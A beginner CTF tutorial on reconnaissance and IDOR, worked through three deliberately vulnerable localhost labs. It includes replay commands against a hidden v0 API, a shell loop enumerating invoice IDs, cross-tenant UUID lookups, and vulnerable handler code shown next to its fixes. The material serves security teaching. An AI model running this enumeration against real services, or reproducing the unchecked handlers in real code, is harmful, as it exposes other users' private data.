Recon and IDOR
A beginner-friendly CTF tutorial: discover hidden endpoints, test object-level authorization, and learn why an unguessable URL is not an access control.
In Part 1 on Medium, we changed URL parameters, form fields, cookies, and HTTP methods. In every case, the vulnerable request was already in front of us.
Real applications are less helpful. Before testing a request, we usually have to discover it. We then have to ask not only whether an endpoint requires a login, but whether the logged-in user is allowed to access the particular object they requested.
In this article, we will use h5i and Labs 5–7 of h5i-tutorial to learn two fundamental web-security skills:
- Reconnaissance: mapping the application before attacking it.
- Object-level authorization testing: checking whether one user can access another user's data.
All three targets are deliberately vulnerable applications that run only on 127.0.0.1. Do not test these techniques against systems unless you own them or have explicit permission.
Before we begin
This article continues from Part 1 on Medium. You need Python 3.11 or later, h5i, and its websec plugin. The complete setup instructions are in the tutorial repository.
$ git clone https://github.com/h5i-dev/h5i-tutorial.git
$ cd h5i-tutorial/websec
$ h5i websec --help
The workflow remains the same:
- Open a page with capture enabled.
- Inspect the recorded requests and responses.
- Replay a request with one deliberate change.
- Compare the result.
What is reconnaissance?
Reconnaissance, usually shortened to recon, means learning what an application exposes: pages, API endpoints, parameters, versions, roles, and other reachable services.
The visible navigation is only one source. Useful information also appears in HTML comments, JavaScript files, HTTP headers, error messages, API documentation, robots.txt, and old endpoints that were hidden but never removed.
Recon is not just preparation for the “real” work. An endpoint that the development team forgot may be the vulnerability itself.
Lab 5: follow the application’s trail
Start the intranet lab:
$ ./run.sh 05
It prints http://127.0.0.1:9050. Open the homepage and record its traffic:
$ h5i browser open 'http://127.0.0.1:9050/' \
--session lab05 --new --capture
$ h5i browser markdown --session lab05
The rendered page contains links to /docs and /api/v3/whoami. The API answers with 401 Unauthorized because we do not have a bearer token.
It would be easy to stop there. Instead, read both the rendered page and the original HTTP response:
$ h5i websec show res_0 --session lab05 --raw
Near the end of the HTML is a comment that the browser does not display as page text:
<!-- TODO(dana): kill the v0 API before the audit -->
An HTML comment is not secret. Anyone who receives the page can read its source. This one tells us that an older API version may still exist.
Check robots.txt
robots.txt tells search-engine crawlers which paths they should avoid. It is public and does not prevent a person from requesting those paths.
Replay the captured homepage request, changing only its path:
$ h5i websec replay req_0 --session lab05 --set path=/robots.txt
$ h5i websec show res_1 --session lab05 --raw
The response contains:
User-agent: *
Disallow: /internal/
Disallow: /api/v0/
Disallow means “please do not index this path,” not “deny access to this path.” In practice, robots.txt can become a public list of interesting locations.
The /docs page also points to /internal/notes.md. Request it by replaying the same captured request:
$ h5i websec replay req_0 --session lab05 --set path=/internal/notes.md
$ h5i websec show res_2 --session lab05 --raw
The notes explain that version 3 requires authentication, while version 0 predates it. They also identify employee 1 as the service account.
We can now test the old endpoint directly:
$ h5i websec replay req_0 --session lab05 \
--set path=/api/v0/employee/1
$ h5i websec show res_3 --session lab05 --raw
The response contains the service account and:
FLAG{recon_trail}
The precise response number may differ if you sent additional requests. Use the seq value printed by replay to find the corresponding res_N.
Why did this work?
The application protects its current API:
@app.get("/api/v3/whoami")
def whoami(req):
return js({"error": "missing bearer token"}, 401)
But the deprecated API remains routable and contains no authorization check:
@app.get("/api/v0/employee/(\\d+)")
def employee_v0(req, emp_id):
if emp_id == "1":
return js({"id": 1, "name": "svc-deploy", "notes": FLAG})
Calling an API “deprecated” does not disable it. The old route must be removed, or it must pass through the same centralized authentication and authorization controls as the new route.
Keep the map
h5i can summarize everything reached during the session:
$ h5i websec sitemap --session lab05 --human
$ h5i websec requests --session lab05 --human
The sitemap is useful because it turns recon into a reproducible artifact instead of a list you try to remember.
Authentication is not authorization
Before the next lab, we need to separate two related ideas.
Authentication asks: Who are you?
Authorization asks: Are you allowed to do this?
A website may correctly identify Alice and still accidentally let Alice read Bob’s invoice. That is an authorization failure.
When the object is selected using an identifier supplied by the client—such as /invoice/1041, ?document_id=7, or a UUID—and the server does not verify ownership, the bug is commonly called an insecure direct object reference (IDOR). It is also described more generally as broken object-level authorization (BOLA).
Lab 6: enumerate sequential invoice IDs
Start the invoice lab:
$ ./run.sh 06
The homepage tells us that we are account 77 and that our latest invoice is 1041. Open that invoice:
$ h5i browser open \
'http://127.0.0.1:9060/api/invoice?id=1041' \
--session lab06 --new --capture
$ h5i websec show res_0 --session lab06 --raw
The response includes both the invoice ID and its account:
{
"viewer_account": 77,
"id": 1041,
"account": 77,
"total": 41
}
Now change the invoice ID while keeping our identity unchanged:
$ h5i websec replay req_0 --session lab06 --set query.id=1040
One changed value is enough to form the important question: Does the server verify that account 77 owns the requested invoice?
Because the IDs are sequential, we can inspect nearby values. The replay command returns JSON containing the response status and size, so we do not need to print every body:
$ for id in $(seq 1000 1050); do
printf '%s ' "$id"
h5i websec replay req_0 --session lab06 \
--reset-budget --set "query.id=$id" |
python3 -c 'import json,sys; r=json.load(sys.stdin)["response"]; print(r["status"], r["bytes"])'
done
Most responses form similar clusters. Invoice 1004 is larger because it has an additional memo. Replay that ID and read the new response:
$ h5i websec replay req_0 --session lab06 --reset-budget \
--set query.id=1004
Note the printed seq, then replace N below with that number:
$ h5i websec show res_N --session lab06 --raw
The body shows an invoice belonging to account 1, even though viewer_account is still 77. Its memo contains:
FLAG{idor_sequential}
What does --reset-budget do?
h5i limits the network allowance of a browser session so that untrusted page code cannot make requests forever. A deliberate security-testing loop may need more requests than a normal page.
--reset-budget renews that allowance for the replay. Use it for sweeps with more than a handful of requests. Otherwise, a stopped sweep can look like evidence that no endpoint exists.
Why did this work?
The vulnerable handler reads the current account and the requested invoice:
who = req.cookies.get("account", "77")
row = INVOICES.get(wanted)
return js({"viewer_account": int(who), **row})
The application knows who is viewing the invoice. It also knows which account owns the invoice. It never compares them.
That missing comparison is the vulnerability.
A safer version checks ownership before returning the record:
row = INVOICES.get(wanted)
if not row or row["account"] != session.account:
return js({"error": "no such invoice"}, 404)
Returning the same 404 Not Found for both nonexistent and unauthorized objects also avoids confirming that another customer’s invoice exists.
Lab 7: why UUIDs do not solve IDOR
Sequential IDs are easy to enumerate, so a developer might replace them with random-looking identifiers such as UUIDs.
This is useful defense in depth, but it is not authorization. If an identifier leaks through another endpoint, anyone who obtains it can still request the object.
Start the document lab:
$ ./run.sh 07
We belong to the acme tenant. Open the search endpoint:
$ h5i browser open \
'http://127.0.0.1:9070/api/search?q=report' \
--session lab07 --new --capture
$ h5i websec show res_0 --session lab07 --raw
The response contains a result from a different tenant:
{
"q": "report",
"hits": [
{
"id": "0d6d25cc-816e-a822-33f4-43e61907948c",
"title": "TPS Report",
"tenant": "initech"
}
]
}
The UUID would be impractical to guess. We did not guess it—the search endpoint gave it to us.
The lab asks us to find Initech’s break-glass document. Search for the title:
$ h5i websec replay req_0 --session lab07 --set query.q=glass
$ h5i websec show res_1 --session lab07 --raw
The result reveals another Initech document ID. Copy that ID into the document path:
$ h5i websec replay req_0 --session lab07 \
--set path=/api/document/94e1d935-a208-f5e8-e5b9-b8e47e375110
$ h5i websec show res_2 --session lab07 --raw
The server returns the cross-tenant document and:
FLAG{idor_uuid}
Two authorization failures
The lab contains two separate mistakes.
First, search is global rather than tenant-scoped:
hits = [
{"id": k, "title": v["title"], "tenant": v["tenant"]}
for k, v in DOCS.items()
if q and q in v["title"].lower()
]
Second, the read endpoint treats possession of the UUID as permission:
row = DOCS.get(doc_id)
return js({"id": doc_id, **row})
Both queries need a tenant condition. Fixing only the search leak would leave the document endpoint vulnerable to identifiers exposed through logs, links, browser history, notifications, exports, or another future endpoint.
A secure object lookup includes the authorization boundary itself:
row = DOCS.get(doc_id)
if not row or row["tenant"] != session.tenant:
return js({"error": "not found"}, 404)
The general rule is simple: possession of an object identifier is not permission to access the object.
A reusable testing method
The three labs suggest a workflow that applies to larger applications.
1. Map before probing
Use the application normally with capture enabled. Then inspect:
- the rendered page and raw HTML;
- recorded API requests;
robots.txtandsitemap.xml;- documentation and API version prefixes;
- error messages, redirects, headers, and JavaScript files.
Keep the resulting endpoints in h5i websec sitemap.
2. Identify actors and objects
Write down the application’s users and roles: anonymous visitor, customer, moderator, administrator, support agent, or another tenant.
Then identify its objects: invoices, documents, orders, tickets, files, or API keys.
3. Change one object identifier
Capture a legitimate request and change only its object ID. Test:
- the previous and next sequential IDs;
- an ID belonging to another account;
- an ID found through search, autocomplete, exports, or activity feeds;
- read, update, and delete operations on the same object.
4. Confirm the impact
A changed response is a lead. A clear cross-account read or write is the finding. Record the original and modified request IDs so another person can reproduce it.
Summary
In Lab 5, public clues led us from the current API to a forgotten, unauthenticated version. In Lab 6, a sequential invoice ID exposed another account’s data. In Lab 7, a search endpoint leaked an unguessable UUID and the document endpoint accepted possession of that UUID as authorization.
The common lesson is that the visible page is not the whole application, and a valid login is not the end of an authorization decision.
When you finish, close the sessions and stop the lab servers:
$ h5i browser close --session lab05
$ h5i browser close --session lab06
$ h5i browser close --session lab07
$ ./run.sh stop
In Broken Access Control, we will test authorization across two logged-in sessions and examine mass assignment: what happens when a client sends fields that the user interface never offered.
References
- h5i
- h5i-tutorial: Web application security
- Lab 5: Recon trail
- Lab 6: Sequential IDOR
- Lab 7: UUID IDOR
Broken Access Control
Compare two logged-in users, test authorization directly with --as, and find the fields a user interface never sends.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.